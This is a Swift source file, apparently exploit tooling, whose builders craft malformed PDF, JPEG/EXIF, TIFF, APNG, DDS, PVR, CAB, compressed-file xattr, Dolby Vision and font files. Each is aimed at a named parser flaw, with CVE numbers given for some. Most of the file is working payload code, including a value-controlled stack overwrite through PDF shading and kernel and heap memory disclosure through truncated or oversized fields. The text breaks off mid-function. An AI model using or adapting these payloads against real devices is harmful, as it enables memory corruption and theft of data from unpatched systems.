private var objects: [Int: (dict: String, stream: [UInt8]?)] = [:]
mutating func add(_ n: Int, _ dict: String, _ stream: [UInt8]? = nil) {
objects[n] = (dict, stream)
}
func data() -> Data {
var out = Data("%PDF-1.7\n%\u{e2}\u{e3}\u{cf}\u{d3}\n".utf8)
var offsets: [Int: Int] = [:]
for n in objects.keys.sorted() {
guard let obj = objects[n] else { continue }
offsets[n] = out.count
out.append(Data("\(n) 0 obj\n".utf8))
out.append(Data(obj.dict.utf8))
if let stream = obj.stream {
out.append(Data("\nstream\n".utf8))
out.append(Data(stream))
out.append(Data("\nendstream".utf8))
}
out.append(Data("\nendobj\n".utf8))
}
let xrefPos = out.count
let maxObj = objects.keys.max() ?? 0
out.append(Data("xref\n0 \(maxObj + 1)\n0000000000 65535 f \n".utf8))
for n in 1...max(maxObj, 1) {
let off = offsets[n] ?? 0
out.append(Data(String(format: "%010d 00000 n \n", off).utf8))
}
out.append(Data("trailer\n<< /Size \(maxObj + 1) /Root 1 0 R >>\nstartxref\n\(xrefPos)\n%%EOF\n".utf8))
return out
}
}
enum PDFPayload {
/// CVE-2026-112611 — Type 5 (lattice Gouraud) shading.
///
/// `/ColorSpace /DeviceGray` gives nc = 1; the `/Function` declares a `/Range` of
/// `rangeDim` outputs. `_cg_shading_type5_draw` builds a 72-byte mesh record per
/// triangle point with a 4-slot (32-byte) color area at +0x20 and calls
/// `CGFunctionEvaluate`, which writes `rangeDim` doubles there. The mesh array is a
/// stack VLA, so the last record's write walks up the frame. With `/C0 = /C1 = value`
/// every written double is the same chosen bit pattern — the smash is value-controlled.
static func shading(rangeDim: Int, value: Double = 1.0, verticesPerRow: Int = 2, rows: Int = 2) -> Data {
let bpCoord = 32
let bpComp = 8
var bw = BitWriter()
var verts: [(UInt32, UInt32)] = []
for r in 0..<rows {
for c in 0..<verticesPerRow {
verts.append((UInt32(0x1000_0000 + c * 0x0800_0000), UInt32(0x1000_0000 + r * 0x0800_0000)))
}
}
for (x, y) in verts {
bw.put(x, bpCoord)
bw.put(y, bpCoord)
bw.put(0, bpComp)
}
let stream = bw.flush()
let c = String(format: "%.17g", value)
let list = Array(repeating: c, count: max(1, rangeDim)).joined(separator: " ")
let rangeList = Array(repeating: "0 1", count: max(1, rangeDim)).joined(separator: " ")
var pdf = PDFBuilder()
pdf.add(1, "<< /Type /Catalog /Pages 2 0 R >>")
pdf.add(2, "<< /Type /Pages /Kids [3 0 R] /Count 1 >>")
pdf.add(3, "<< /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] /Resources << /Shading << /Sh1 5 0 R >> >> /Contents 4 0 R >>")
pdf.add(4, "<< /Length 8 >>", B.ascii(" /Sh1 sh"))
pdf.add(5, "<< /ShadingType 5 /ColorSpace /DeviceGray /BitsPerCoordinate \(bpCoord) /BitsPerComponent \(bpComp) /VerticesPerRow \(verticesPerRow) /Decode [0 200 0 200 0 1] /Function 6 0 R /Length \(stream.count) >>", stream)
pdf.add(6, "<< /FunctionType 2 /Domain [0 1] /N 1 /C0 [\(list)] /C1 [\(list)] /Range [\(rangeList)] >>")
return pdf.data()
}
/// CVE-2026-112610 — CMap `/UseCMap` recursion with an unclamped codespace length.
/// Reachability for the embedded-CMap vehicle was refuted in the source analysis;
/// this ships as a negative-result probe so the differential is on record.
static func cmapProbe(codespaceLength: Int = 128) -> Data {
var cmap = ""
cmap += "%!PS-Adobe-3.0 Resource-CMap\n"
cmap += "/CIDInit /ProcSet findresource begin\n12 dict begin begincmap\n"
cmap += "/CMapName /Cinder def\n/CMapType 1 def\n/WMode 0 def\n"
cmap += "1 begincodespacerange\n"
cmap += "<\(String(repeating: "0", count: 2))> <\(String(repeating: "F", count: max(2, codespaceLength)))>\n"
cmap += "endcodespacerange\n"
cmap += "1 begincidrange\n<00> <FF> 0\nendcidrange\n"
cmap += "endcmap CMapName currentdict /CMap defineresource pop end end\n"
let cmapBytes = B.ascii(cmap)
var pdf = PDFBuilder()
pdf.add(1, "<< /Type /Catalog /Pages 2 0 R >>")
pdf.add(2, "<< /Type /Pages /Kids [3 0 R] /Count 1 >>")
pdf.add(3, "<< /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] /Resources << /Font << /F1 5 0 R >> >> /Contents 4 0 R >>")
pdf.add(4, "<< /Length 30 >>", B.ascii("BT /F1 12 Tf 10 100 Td <0041> Tj ET"))
pdf.add(5, "<< /Type /Font /Subtype /Type0 /BaseFont /Cinder /Encoding 6 0 R /DescendantFonts [7 0 R] >>")
pdf.add(6, "<< /Type /CMap /CMapName /Cinder /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity) /Supplement 0 >> /Length \(cmapBytes.count) >>", cmapBytes)
pdf.add(7, "<< /Type /Font /Subtype /CIDFontType2 /BaseFont /Cinder /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity) /Supplement 0 >> /DW 500 >>")
return pdf.data()
}
}
// MARK: - JPEG / EXIF
enum JPEGPayload {
static func minimalSOI() -> [UInt8] { [0xFF, 0xD8] }
/// Family D — a marker declaring a length far beyond the bytes present.
/// 27.0 warns and keeps parsing (OOB read); 27.2 aborts.
static func markerLength(declared: Int = 0xFFEE, actual: Int = 30) -> Data {
var out = minimalSOI()
out += [0xFF, 0xE1]
out += [UInt8((declared >> 8) & 0xff), UInt8(declared & 0xff)]
out += Array(repeating: 0x41, count: max(0, actual - 2))
out += [0xFF, 0xD9]
return Data(out)
}
/// Family J — EXIF UserComment whose value offset lands past the marker, so the
/// short read leaves the malloc'd buffer tail uninitialised and the metadata read
/// returns stale heap bytes.
static func exifUserComment(count: Int = 0x400, valueOffset: Int = 0x4000) -> Data {
var tiff = Data()
tiff.append(contentsOf: [0x4D, 0x4D, 0x00, 0x2A]) // MM, 42
tiff.append(contentsOf: B.be32(8)) // IFD0 at 8
tiff.append(contentsOf: B.be16(1)) // 1 entry
tiff.append(contentsOf: B.be16(0x9286)) // UserComment
tiff.append(contentsOf: B.be16(7)) // UNDEFINED
tiff.append(contentsOf: B.be32(UInt32(count)))
tiff.append(contentsOf: B.be32(UInt32(valueOffset))) // far past the block
tiff.append(contentsOf: B.be32(0)) // next IFD
var out = minimalSOI()
let payload = B.ascii("Exif\u{0}\u{0}") + [UInt8](tiff)
let len = payload.count + 2
out += [0xFF, 0xE1, UInt8((len >> 8) & 0xff), UInt8(len & 0xff)]
out += payload
out += [0xFF, 0xD9]
return Data(out)
}
/// Family F — GPS IFD whose value offsets point far past the GPS blob.
static func exifGPSOutOfBounds(delta: Int = 0x10000) -> Data {
var tiff = Data()
tiff.append(contentsOf: [0x4D, 0x4D, 0x00, 0x2A])
tiff.append(contentsOf: B.be32(8))
tiff.append(contentsOf: B.be16(1))
tiff.append(contentsOf: B.be16(0x8825)) // GPSInfoIFDPointer
tiff.append(contentsOf: B.be16(4)) // LONG
tiff.append(contentsOf: B.be32(1))
tiff.append(contentsOf: B.be32(26)) // GPS IFD at 26
tiff.append(contentsOf: B.be32(0))
// GPS IFD
tiff.append(contentsOf: B.be16(2))
tiff.append(contentsOf: B.be16(0x0000)) // GPSVersionID
tiff.append(contentsOf: B.be16(1))
tiff.append(contentsOf: B.be32(4))
tiff.append(contentsOf: [2, 3, 0, 0])
tiff.append(contentsOf: B.be16(0x0006)) // GPSAltitude
tiff.append(contentsOf: B.be16(5)) // RATIONAL
tiff.append(contentsOf: B.be32(1))
tiff.append(contentsOf: B.be32(UInt32(26 + 18 + delta))) // far past the blob
tiff.append(contentsOf: B.be32(0))
var out = minimalSOI()
let payload = B.ascii("Exif\u{0}\u{0}") + [UInt8](tiff)
let len = payload.count + 2
out += [0xFF, 0xE1, UInt8((len >> 8) & 0xff), UInt8(len & 0xff)]
out += payload
out += [0xFF, 0xD9]
return Data(out)
}
}
// MARK: - TIFF
enum TIFFPayload {
struct Entry {
let tag: UInt16
let type: UInt16
let count: UInt32
let value: [UInt8] // raw payload bytes (little-endian), inline if <= 4
}
static func build(entries: [Entry], blobs: [(tag: UInt16, bytes: [UInt8])]) -> Data {
let ifdOffset = 8
let ifdSize = 2 + entries.count * 12 + 4
var extraOffset = ifdOffset + ifdSize
if extraOffset % 2 == 1 { extraOffset += 1 }
var extra = Data()
var blobOffsets: [UInt16: UInt32] = [:]
for blob in blobs {
blobOffsets[blob.tag] = UInt32(extraOffset + extra.count)
extra.append(contentsOf: blob.bytes)
}
var out = Data()
out.append(contentsOf: [0x49, 0x49, 0x2A, 0x00])
out.append(contentsOf: B.le32(UInt32(ifdOffset)))
out.append(contentsOf: B.le16(UInt16(entries.count)))
for e in entries.sorted(by: { $0.tag < $1.tag }) {
out.append(contentsOf: B.le16(e.tag))
out.append(contentsOf: B.le16(e.type))
out.append(contentsOf: B.le32(e.count))
if e.value.count <= 4 {
var v = e.value
while v.count < 4 { v.append(0) }
out.append(contentsOf: v)
} else {
out.append(contentsOf: B.le32(blobOffsets[e.tag] ?? 0))
}
}
out.append(contentsOf: B.le32(0))
if out.count < extraOffset { out.append(contentsOf: [UInt8](repeating: 0, count: extraOffset - out.count)) }
out.append(extra)
return out
}
/// Family A — planar configuration with more planes than the destination row can hold.
///
/// Photometric=RGB gives a 3-channel destination row; SamplesPerPixel=4 with
/// PlanarConfiguration=2 makes the 4th plane scatter past it. The scatter offset in
/// 27.0 is a 32-bit multiply with no capacity compare against the row.
static func planarScatter(width: Int = 64, height: Int = 64, spp: Int = 4, photometric: UInt16 = 2) -> Data {
let bits: [UInt8] = (0..<spp).flatMap { _ in B.le16(8) }
let stripBytes = width * height
// Deterministic layout: IFD at 8, then BitsPerSample blob, then StripOffsets blob,
// then the plane data. Every offset below is computed, not patched.
let ifdOffset = 8
let ifdSize = 2 + 10 * 12 + 4
var extraOffset = ifdOffset + ifdSize
if extraOffset % 2 == 1 { extraOffset += 1 }
let bitsOffset = extraOffset
let offsetsBlobOffset = bitsOffset + bits.count
let stripBase = offsetsBlobOffset + spp * 4
var stripOffsets: [UInt8] = []
for i in 0..<spp { stripOffsets += B.le32(UInt32(stripBase + i * stripBytes)) }
let entries: [Entry] = [
Entry(tag: 256, type: 4, count: 1, value: B.le32(UInt32(width))),
Entry(tag: 257, type: 4, count: 1, value: B.le32(UInt32(height))),
Entry(tag: 258, type: 3, count: UInt32(spp), value: bits),
Entry(tag: 259, type: 3, count: 1, value: B.le16(1)),
Entry(tag: 262, type: 3, count: 1, value: B.le16(photometric)),
Entry(tag: 273, type: 4, count: UInt32(spp), value: stripOffsets),
Entry(tag: 277, type: 3, count: 1, value: B.le16(UInt16(spp))),
Entry(tag: 278, type: 4, count: 1, value: B.le32(UInt32(height))),
Entry(tag: 279, type: 4, count: UInt32(spp), value: (0..<spp).flatMap { _ in B.le32(UInt32(stripBytes)) }),
Entry(tag: 284, type: 3, count: 1, value: B.le16(2)),
]
var data = build(entries: entries, blobs: [(258, bits), (273, stripOffsets)])
// pad to the computed strip base in case the builder aligned differently
if data.count < stripBase {
data.append(contentsOf: [UInt8](repeating: 0, count: stripBase - data.count))
}
for plane in 0..<spp {
data.append(contentsOf: [UInt8](repeating: UInt8(0x40 + plane * 0x20), count: stripBytes))
}
return data
}
/// Family I — second strip physically truncated while StripByteCounts claims a full
/// strip. 27.0 ignores the short read and scatters the uninitialised strip buffer
/// into the output image.
///
/// Strip offsets must actually point at the strip data. The 273 entry carries two
/// u32 values (8 bytes > 4), so they live in the extra area as a blob and the IFD
/// field holds the blob offset — a zeroed entry would send both strips to the file
/// header and never truncate anything. Two-pass build: the placeholder blob fixes
/// the layout (identical sizes both passes), the second pass writes real offsets.
static func truncatedStrip(width: Int = 32, height: Int = 32) -> Data {
let stripBytes = width * height / 2
let placeholder: [UInt8] = [UInt8](repeating: 0, count: 8)
var entries: [Entry] = [
Entry(tag: 256, type: 4, count: 1, value: B.le32(UInt32(width))),
Entry(tag: 257, type: 4, count: 1, value: B.le32(UInt32(height))),
Entry(tag: 258, type: 3, count: 1, value: B.le16(8)),
Entry(tag: 259, type: 3, count: 1, value: B.le16(1)),
Entry(tag: 262, type: 3, count: 1, value: B.le16(1)),
Entry(tag: 273, type: 4, count: 2, value: placeholder),
Entry(tag: 277, type: 3, count: 1, value: B.le16(1)),
Entry(tag: 278, type: 4, count: 1, value: B.le32(UInt32(height / 2))),
Entry(tag: 279, type: 4, count: 2, value: B.le32(UInt32(stripBytes)) + B.le32(UInt32(stripBytes))),
Entry(tag: 284, type: 3, count: 1, value: B.le16(1)),
]
// pass 1: identical-size placeholder fixes the file length
var data = build(entries: entries, blobs: [(273, placeholder)])
let base = UInt32(data.count)
// pass 2: real strip offsets — both passes produce the same layout
let stripOffsets = B.le32(base) + B.le32(base + UInt32(stripBytes))
entries[5] = Entry(tag: 273, type: 4, count: 2, value: stripOffsets)
data = build(entries: entries, blobs: [(273, stripOffsets)])
data.append(contentsOf: [UInt8](repeating: 0x33, count: stripBytes))
data.append(contentsOf: [UInt8](repeating: 0x00, count: 16)) // truncated second strip
return data
}
}
// MARK: - PNG / APNG
enum PNGPayload {
static func crc32(_ bytes: [UInt8]) -> UInt32 {
var table = [UInt32](repeating: 0, count: 256)
for i in 0..<256 {
var c = UInt32(i)
for _ in 0..<8 { c = (c & 1) != 0 ? (0xEDB88320 ^ (c >> 1)) : (c >> 1) }
table[i] = c
}
var crc: UInt32 = 0xFFFFFFFF
for b in bytes { crc = table[Int((crc ^ UInt32(b)) & 0xFF)] ^ (crc >> 8) }
return crc ^ 0xFFFFFFFF
}
/// Stored (uncompressed) deflate wrapped in zlib — a valid stream with no compressor.
static func zlibStore(_ input: [UInt8]) -> [UInt8] {
var out: [UInt8] = [0x78, 0x01]
var offset = 0
if input.isEmpty { out += [0x01, 0x00, 0x00, 0xFF, 0xFF] }
while offset < input.count {
let take = min(65535, input.count - offset)
out.append(offset + take >= input.count ? 0x01 : 0x00)
out += B.le16(UInt16(take))
out += B.le16(UInt16(~take & 0xFFFF))
out += Array(input[offset..<(offset + take)])
offset += take
}
var a: UInt32 = 1, b: UInt32 = 0
for byte in input {
a = (a + UInt32(byte)) % 65521
b = (b + a) % 65521
}
out += B.be32((b << 16) | a)
return out
}
static func chunk(_ type: String, _ data: [UInt8], declaredLength: Int? = nil, truncateTo: Int? = nil) -> [UInt8] {
let body = truncateTo.map { Array(data.prefix($0)) } ?? data
let len = UInt32(declaredLength ?? data.count)
var out = B.be32(len) + B.ascii(type) + body
out += B.be32(crc32(B.ascii(type) + body))
return out
}
/// Family H — an fcTL chunk truncated mid-header.
///
/// 27.0 reads 34 bytes at the fcTL offset and never checks the return value, so a file
/// that ends inside the fcTL leaves a 34-byte stack buffer partly uninitialised and the
/// frame geometry is parsed out of whatever was there. 27.2 reads 26 bytes and compares
/// against 0x1a.
static func apngTruncatedFCTL(mode: Int = 0) -> Data {
var out: [UInt8] = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]
out += chunk("IHDR", B.be32(4) + B.be32(4) + [8, 6, 0, 0, 0])
out += chunk("acTL", B.be32(2) + B.be32(0))
var fctl: [UInt8] = B.be32(0) + B.be32(4) + B.be32(4) + B.be32(0) + B.be32(0)
fctl += B.be16(1) + B.be16(10) + [0, 0]
// a real 4x4 RGBA frame so the container itself is valid
var rawRows: [UInt8] = []
for _ in 0..<4 {
rawRows.append(0)
rawRows += [UInt8](repeating: 0x80, count: 16)
}
let idat = chunk("IDAT", zlibStore(rawRows))
if mode == 2 {
// control: a fully valid first fcTL (proves the container is otherwise sound)
out += chunk("fcTL", fctl)
out += idat
out += chunk("IEND", [])
} else if mode == 0 {
// proper chunk header claiming 26 bytes, only 4 present, then IEND
out += chunk("fcTL", fctl, declaredLength: 26, truncateTo: 4)
out += idat
out += chunk("IEND", [])
} else {
// file ends inside the fcTL: header + 4 data bytes, no CRC, no IEND
out += B.be32(26) + B.ascii("fcTL") + Array(fctl.prefix(4))
}
return Data(out)
}
}
// MARK: - DDS / KTX
enum TexturePayload {
/// Family G — BC7 DDS whose single mip level is far shorter than the block math needs.
static func bc7Short(width: Int = 512, height: Int = 512, dataBytes: Int = 64) -> Data {
var out = Data("DDS ".utf8)
out.append(contentsOf: B.le32(124))
out.append(contentsOf: B.le32(0x00081007))
out.append(contentsOf: B.le32(UInt32(height)))
out.append(contentsOf: B.le32(UInt32(width)))
out.append(contentsOf: B.le32(0))
out.append(contentsOf: B.le32(0))
out.append(contentsOf: B.le32(1))
out.append(contentsOf: [UInt8](repeating: 0, count: 44))
out.append(contentsOf: B.le32(32))
out.append(contentsOf: B.le32(0x4))
out.append(contentsOf: B.ascii("DX10"))
out.append(contentsOf: [UInt8](repeating: 0, count: 20))
out.append(contentsOf: B.le32(0x1000))
out.append(contentsOf: B.le32(0) + B.le32(0) + B.le32(0) + B.le32(0))
// DX10 header — DXGI_FORMAT_BC7_UNORM = 98, TEXTURECUBE off, arraySize 1
out.append(contentsOf: B.le32(98) + B.le32(3) + B.le32(0) + B.le32(1) + B.le32(0))
out.append(contentsOf: [UInt8](repeating: 0, count: max(1, dataBytes)))
return out
}
}
// MARK: - decmpfs (AppleFSCompression)
enum Decmpfs {
static let magic: UInt32 = 0x636D_7066 // 'cmpf'
static let typeZlibChunked: UInt32 = 4
/// Build a `com.apple.decmpfs` xattr payload: type-4 chunked zlib, with per-chunk
/// control over how many bytes each zlib stream actually produces.
///
/// CVE-2026-113910 lives in AppleFSCompressionTypeZlib: a chunk that decompresses to
/// fewer bytes than the chunk table promises leaves the tail of the kernel page buffer
/// unwritten, and that stale kernel heap is what read() hands back to the app.
static func chunkedXattr(uncompressedSize: Int, chunkCount: Int, producePerChunk: Int) -> Data {
var out = Data()
out.append(contentsOf: B.le32(magic))
out.append(contentsOf: B.le32(typeZlibChunked))
out.append(contentsOf: B.le64(UInt64(uncompressedSize)))
let headerSize = 16 + (chunkCount + 1) * 4
var chunkBlobs: [[UInt8]] = []
for _ in 0..<chunkCount {
// flag 0x00 + zlib stream that decompresses to producePerChunk bytes of 0x41
var raw: [UInt8] = []
// stored (uncompressed) deflate blocks — trivially valid zlib
let payload = [UInt8](repeating: 0x41, count: max(0, producePerChunk))
raw.append(0x78); raw.append(0x01) // zlib header, no dict
var offset = 0
if payload.isEmpty {
raw += [0x01, 0x00, 0x00, 0xFF, 0xFF] // final empty stored block
}
while offset < payload.count {
let take = min(65535, payload.count - offset)
raw.append(offset + take >= payload.count ? 0x01 : 0x00)
raw += B.le16(UInt16(take))
raw += B.le16(UInt16(~take & 0xFFFF))
raw += Array(payload[offset..<(offset + take)])
offset += take
}
raw += adler32(payload)
chunkBlobs.append([0x00] + raw)
}
var offsets: [UInt32] = []
var running: UInt32 = 0
for blob in chunkBlobs {
offsets.append(running)
running += UInt32(blob.count)
}
offsets.append(running)
for o in offsets { out.append(contentsOf: B.le32(o)) }
_ = headerSize
for blob in chunkBlobs { out.append(contentsOf: blob) }
return out
}
static func adler32(_ bytes: [UInt8]) -> [UInt8] {
var a: UInt32 = 1, b: UInt32 = 0
for byte in bytes {
a = (a + UInt32(byte)) % 65521
b = (b + a) % 65521
}
return B.be32((b << 16) | a)
}
}
// MARK: - Dolby Vision RPU
enum RPUPayload {
/// Build a Dolby Vision RP 2086 RPU byte sequence that drives
/// `hevcbridgeParseVdrDmDataPayloadExMetadataBlocks` past one of the three
/// fixed-capacity arrays (A: 4 × 28 B, B: 8 × 14 B, C: 5 × 36 B).
///
/// The source research reconstructed the header grammar only through the entry
/// checks (magic / rpu_type / rpu_format, verified live on the macOS twin); the
/// remaining VDR structures are emitted here as a parameterised grammar probe so the
/// parser's own error receipt tells you how far it got.
static func probe(blockID: UInt32 = 1, blockCount: Int = 6, seed: UInt32 = 0x0BADF00D) -> Data {
var bw = BitWriter()
bw.put(0x19, 8) // magic, byte 0
bw.put(2, 6) // rpu_type = 2 (DOVI)
bw.put(0x12, 11) // rpu_format
bw.put(seed & 0x1F, 5)
bw.put(1, 4) // vdr_rpu_profile
bw.put(0, 4) // vdr_rpu_level
bw.put(0, 1) // vdr_seq_info_present_flag
bw.put(1, 1) // chroma_resampling_explicit_filter_flag
bw.put(2, 2) // coefficient_data_type
bw.put(1, 1) // el_spatial_resampling_filter_flag
bw.put(0, 1) // disable_residual_flag
bw.put(0, 4) // nln
bw.put(1, 2) // num_dm_data
// DM data head: class-2 ext block loop
bw.putExpGolomb(UInt32(blockCount))
for i in 0..<blockCount {
bw.putExpGolomb(0x40) // ext block length-ish
bw.put(blockID, 8) // block_id
// block-id 1 field grammar (u12 x3, u8 x6, u8 x2, u8 gate, u16 x3)
bw.put(UInt32(0x100 + i), 12)
bw.put(UInt32(0x101 + i), 12)
bw.put(UInt32(0x102 + i), 12)
for _ in 0..<6 { bw.put(0x26, 8) }
bw.put(0x25, 8)
bw.put(0x59, 8)
bw.put(0x13, 8) // unlocks the u16 tail
bw.put(UInt32(0x0FFF & (i * 0x111)), 16)
bw.put(UInt32(0x0FFF & (i * 0x222)), 16)
bw.put(UInt32(0x0FFF & (i * 0x333)), 16)
}
return Data(bw.flush())
}
}
+434
View File
@@ -0,0 +1,434 @@
import Foundation
import UIKit
import ImageIO
import CoreGraphics
import CoreText
import AVFoundation
// MARK: - Additional payload builders for the remaining 27.2 fix families
extension JPEGPayload {
/// Family E — an APP marker whose stored (offset, length) run past the block it lives in.
///
/// On 27.0 `_APPx::writeToStream` copies `length` bytes from `base+offset` straight into
/// the emitted JPEG with no bounds math, so the re-encode path writes whatever sits past
/// the marker into the output file. 27.2 clamps with `end-offset` and logs
/// "marker 0x%04X is out of bounds".
/// A real, decodable JPEG carrying one APP2 marker whose declared length runs far past
/// the bytes actually present.
///
/// Placement matters and is not obvious: putting the marker right after SOI makes the
/// declared length swallow the SOF/DHT/scan headers, and the source fails to decode at
/// all. Placing it immediately *before* EOI is the construction that works — the image
/// decodes, and the marker still lands in the parsed properties, so it survives into the
/// re-encode path where `_APPx::writeToStream` runs.
static func appxOverrun(declaredLength: Int = 0xFFF0, actual: Int = 12) -> Data {
let base = [UInt8](solidJPEG())
guard base.count > 4 else { return solidJPEG() }
var marker: [UInt8] = [0xFF, 0xE2]
marker += [UInt8((declaredLength >> 8) & 0xff), UInt8(declaredLength & 0xff)]
marker += B.ascii("ICC_PROFILE\u{0}")
marker += Array(repeating: 0x41, count: max(0, actual))
// insert before the trailing EOI
var out = Array(base.dropLast(2))
out += marker
out += [0xFF, 0xD9]
return Data(out)
}
/// A small solid-colour JPEG produced by the system encoder.
static func solidJPEG(size: Int = 32) -> Data {
let colorSpace = CGColorSpaceCreateDeviceRGB()
guard let ctx = CGContext(data: nil, width: size, height: size, bitsPerComponent: 8,
bytesPerRow: size * 4, space: colorSpace,
bitmapInfo: CGImageAlphaInfo.premultipliedLast.rawValue) else {
return Data(minimalSOI() + [0xFF, 0xD9])
}
ctx.setFillColor(CGColor(red: 0.2, green: 0.6, blue: 0.9, alpha: 1))
ctx.fill(CGRect(x: 0, y: 0, width: size, height: size))
guard let image = ctx.makeImage() else {
return Data(minimalSOI() + [0xFF, 0xD9])
}
let data = NSMutableData()
guard let dest = CGImageDestinationCreateWithData(data, "public.jpeg" as CFString, 1, nil) else {
return Data(minimalSOI() + [0xFF, 0xD9])
}
CGImageDestinationAddImage(dest, image, nil)
guard CGImageDestinationFinalize(dest) else {
return Data(minimalSOI() + [0xFF, 0xD9])
}
return data as Data
}
}
extension TIFFPayload {
/// Family B — a directory entry whose element count makes `count << log2(elemsize)`
/// wrap at 32 bits. The allocation shrinks to nothing while the conversion loop still
/// writes `count` entries.
static func dirEntryAllocWrap(count: UInt32 = 0x2000_0000, type: UInt16 = 6) -> Data {
var out = Data()
out.append(contentsOf: [0x49, 0x49, 0x2A, 0x00])
out.append(contentsOf: B.le32(8))
out.append(contentsOf: B.le16(3))
// width / height keep the reader interested
out.append(contentsOf: B.le16(256))
out.append(contentsOf: B.le16(3))
out.append(contentsOf: B.le32(1))
out.append(contentsOf: B.le16(1) + B.le16(0))
out.append(contentsOf: B.le16(257))
out.append(contentsOf: B.le16(3))
out.append(contentsOf: B.le32(1))
out.append(contentsOf: B.le16(1) + B.le16(0))
// the wrapped-count tag (SBYTE array, elemsize 1 — count alone is the multiplier)
out.append(contentsOf: B.le16(0x0100)) // ImageWidth-class tag reused as the carrier
out.append(contentsOf: B.le16(type))
out.append(contentsOf: B.le32(count))
out.append(contentsOf: B.le32(64)) // value offset
out.append(contentsOf: B.le32(0))
out.append(contentsOf: [UInt8](repeating: 0x00, count: 64))
return out
}
/// Family K — PVR whose declared bits-per-pixel is smaller than the channel sum.
static func pvrUnderBpp(width: UInt32 = 64, height: UInt32 = 64) -> Data {
var out = Data()
out.append(contentsOf: B.le32(0x0352_5650)) // 'PVR' v3
out.append(contentsOf: B.le32(0)) // flags
out.append(contentsOf: B.le32(0x0000_0000)) // pixel format (PVRTC-ish)
out.append(contentsOf: B.le32(0)) // colour space
out.append(contentsOf: B.le32(0)) // channel type
out.append(contentsOf: B.le32(height))
out.append(contentsOf: B.le32(width))
out.append(contentsOf: B.le32(1)) // depth
out.append(contentsOf: B.le32(1)) // num surfaces
out.append(contentsOf: B.le32(1)) // num faces
out.append(contentsOf: B.le32(1)) // mip count
out.append(contentsOf: B.le32(0)) // meta data size
// 4 channels of 8 bits declared, but bitsPerPixel below their sum
out.append(contentsOf: B.le32(8) + B.le32(8) + B.le32(8) + B.le32(8))
out.append(contentsOf: B.le32(8)) // bitsPerPixel — too small
out.append(contentsOf: B.le32(0) + B.le32(0) + B.le32(0) + B.le32(0))
out.append(contentsOf: [UInt8](repeating: 0x33, count: 4096))
return out
}
}
extension PDFPayload {
/// Family C — a page whose rasterized dimensions exceed the decode buffer the caller
/// supplied. 27.0 rasterizes with no size validation and writes past the destination;
/// 27.2 computes `width * bpp` and rejects with "decode buffer too small".
static func rasterOverrun(width: Int = 4000, height: Int = 4000) -> Data {
var pdf = PDFBuilder()
pdf.add(1, "<< /Type /Catalog /Pages 2 0 R >>")
pdf.add(2, "<< /Type /Pages /Kids [3 0 R] /Count 1 >>")
pdf.add(3, "<< /Type /Page /Parent 2 0 R /MediaBox [0 0 \(width) \(height)] /Resources << >> /Contents 4 0 R >>")
let ops = "0 0 1 rg 0 0 \(width) \(height) re f"
pdf.add(4, "<< /Length \(ops.utf8.count) >>", B.ascii(ops))
return pdf.data()
}
}
// MARK: - CAB (LZX match before initialised history)
enum CABPayload {
/// Build a minimal Microsoft Cabinet with one folder and one CFDATA block whose LZX
/// stream opens with a match before any window history exists.
///
/// 27.0 computes `copy_pos = (w_pos - copy_pos) & w_mask` and copies straight out of an
/// uninitialised window; 27.2 adds `copy_pos == 0 || copy_pos > w_filled → ARCHIVE_FAILED`.
static func lzxEarlyMatch() -> Data {
var out = Data()
let cfdataPayload: [UInt8] = [
// CFDATA header is written separately below; this is the LZX block itself.
0x00, 0x00, 0x10, // block header: verbatim, 0x0010 bytes
0x1E, // main tree: single match-ish symbol stream
0x00, 0x00, // length footer
0x00, 0x00, 0x00, 0x00, // offset
]
var cfdata = Data()
cfdata.append(contentsOf: B.le32(0)) // checksum (unchecked)
cfdata.append(contentsOf: B.le16(UInt16(cfdataPayload.count)))
cfdata.append(contentsOf: B.le16(0)) // reserved
cfdata.append(contentsOf: cfdataPayload)
var file = Data()
file.append(contentsOf: B.ascii("Cinder"))
file.append(contentsOf: B.le32(0)) // size
file.append(contentsOf: B.le32(0)) // offset in folder
file.append(contentsOf: B.le16(0x20 | 0x01)) // attributes: archive
file.append(contentsOf: [0x21, 0x26, 0x10, 0x5A]) // date/time
file.append(contentsOf: [UInt8](repeating: 0x41, count: 8)) // name "AAAAAAAA"
file.append(0)
let headerSize = 36
let folderSize = 8
let fileSize = file.count
let dataSize = cfdata.count
let total = headerSize + folderSize + fileSize + dataSize
out.append(contentsOf: B.ascii("MSCF"))
out.append(contentsOf: B.le32(0)) // reserved1
out.append(contentsOf: B.le32(UInt32(total))) // cabinet size
out.append(contentsOf: B.le32(0)) // reserved2
out.append(contentsOf: B.le32(UInt32(headerSize))) // file offset
out.append(contentsOf: B.le32(0)) // reserved3
out.append(contentsOf: [3, 1]) // version minor, major
out.append(contentsOf: B.le16(1)) // folder count
out.append(contentsOf: B.le16(1)) // file count
out.append(contentsOf: B.le16(0)) // flags
out.append(contentsOf: B.le16(0x1234)) // set id
out.append(contentsOf: B.le16(0)) // cabinet index
// CFFOLDER
out.append(contentsOf: B.le32(UInt32(headerSize + folderSize + fileSize))) // data offset
out.append(contentsOf: B.le16(1)) // data block count
out.append(contentsOf: B.le16(3)) // compression type 3 = LZX
out.append(contentsOf: [0x0F, 0x00]) // window size (21 bits => 2MB)
out.append(contentsOf: file)
out.append(contentsOf: cfdata)
return out
}
}
// MARK: - CoreText GDEF attach list
enum FontPayload {
/// A TrueType font whose GDEF LigCaretList chases a CaretValue offset far past the table.
/// 27.0 follows the chain with no end-check; 27.2 clamps against the GDEF table slice.
/// Layout: GDEF header 12 B, LigCaretList at 12, coverage at 24, LigGlyph at 28.
static func gdefCaretChase() -> Data {
var tables: [(String, [UInt8])] = []
// head
var head = [UInt8](repeating: 0, count: 54)
head[0] = 0x00; head[1] = 0x01; head[2] = 0x00; head[3] = 0x00
head[4] = 0x00; head[5] = 0x01; head[6] = 0x00; head[7] = 0x00
head[12] = 0x5F; head[13] = 0x0F // magic
tables.append(("head", head))
// hhea
var hhea = [UInt8](repeating: 0, count: 36)
hhea[0] = 0x00; hhea[1] = 0x01
hhea[34] = 0x00; hhea[35] = 0x00
tables.append(("hhea", hhea))
// maxp
var maxp = [UInt8](repeating: 0, count: 32)
maxp[0] = 0x00; maxp[1] = 0x00; maxp[2] = 0x50; maxp[3] = 0x00
maxp[4] = 0x00; maxp[5] = 0x01
tables.append(("maxp", maxp))
// hmtx
